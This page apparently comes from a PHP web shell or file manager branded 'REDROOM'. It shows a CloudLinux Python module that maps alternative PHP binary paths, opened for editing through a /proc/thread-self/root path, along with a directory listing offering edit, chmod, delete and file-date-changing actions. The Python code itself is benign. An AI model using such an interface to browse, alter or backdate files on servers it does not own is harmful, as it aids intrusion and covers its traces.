REDROOM
PHP 8.2.30
Path:
Logout
Edit File
Size: 1.40 KB
Close
/proc/thread-self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/clcagefslib/selector/paths.py
Text
Base64
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2024 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import functools import os from clcagefslib.const import CL_ALT_CONF, CL_ALT_CAGEFS_CONF from clcagefslib.io import read_file_cached from clcommon import clcagefs # Reads config file and returns paths to alternative binaries (as dictionary) def get_alt_paths(php_state=None): cl_alt_conf = CL_ALT_CAGEFS_CONF if clcagefs.in_cagefs() else CL_ALT_CONF alt_paths = {} if os.path.isfile(cl_alt_conf): lines = read_file_cached(cl_alt_conf) for line in lines: line = line.rstrip() if line != "": ar = line.split() if len(ar) == 4: vers = ar[1] if (php_state is None) or (vers not in php_state) or (php_state[vers]): path = ar[3] alt_paths[path] = 1 return alt_paths # Returns list of dirnames like ['php51', 'php52'] @functools.cache def get_alt_dirs(): alt_paths = get_alt_paths() alt_dirs = {} for path in alt_paths: # Split string like "/opt/alt/php51/usr/bin/php" ar = path.split('/') dirname = ar[3] if dirname.startswith('php') and dirname[len('php'):].isnumeric(): alt_dirs[dirname] = 1 return list(alt_dirs.keys())
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 2 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
panel
DIR
-
drwxr-xr-x
2026-03-25 07:00:52
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
__pycache__
DIR
-
drwxr-xr-x
2026-03-25 07:00:52
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
configure.py
10.08 KB
lrw-r--r--
2026-03-02 11:08:26
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
paths.py
1.40 KB
lrw-r--r--
2026-03-02 11:08:26
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
__init__.py
180 B
lrw-r--r--
2026-03-02 11:08:26
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).